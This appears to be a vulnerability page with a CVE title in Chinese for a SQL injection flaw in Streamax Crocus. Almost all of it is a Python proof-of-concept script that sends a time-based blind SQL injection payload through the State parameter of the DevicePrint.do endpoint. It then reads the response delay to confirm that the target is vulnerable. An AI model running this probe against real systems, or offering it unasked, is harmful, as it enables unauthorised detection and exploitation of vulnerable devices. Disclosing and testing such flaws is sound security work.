CVE-2026-4956 Streamax Crocus SQL注入漏洞

import requests # Target URL vulnerable to SQL Injection target_url = "http://target-ip/DevicePrint.do" # Malicious payload for State parameter (Time-based blind) # This payload attempts to cause a delay if the database is vulnerable payload = "1' AND SLEEP(5)-- " params = { "Action": "ReadTask", "State": payload } try: print("[*] Sending payload to target...") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates a successful SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via timing delay.") else: print("[-] Vulnerability not confirmed or response time too short.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")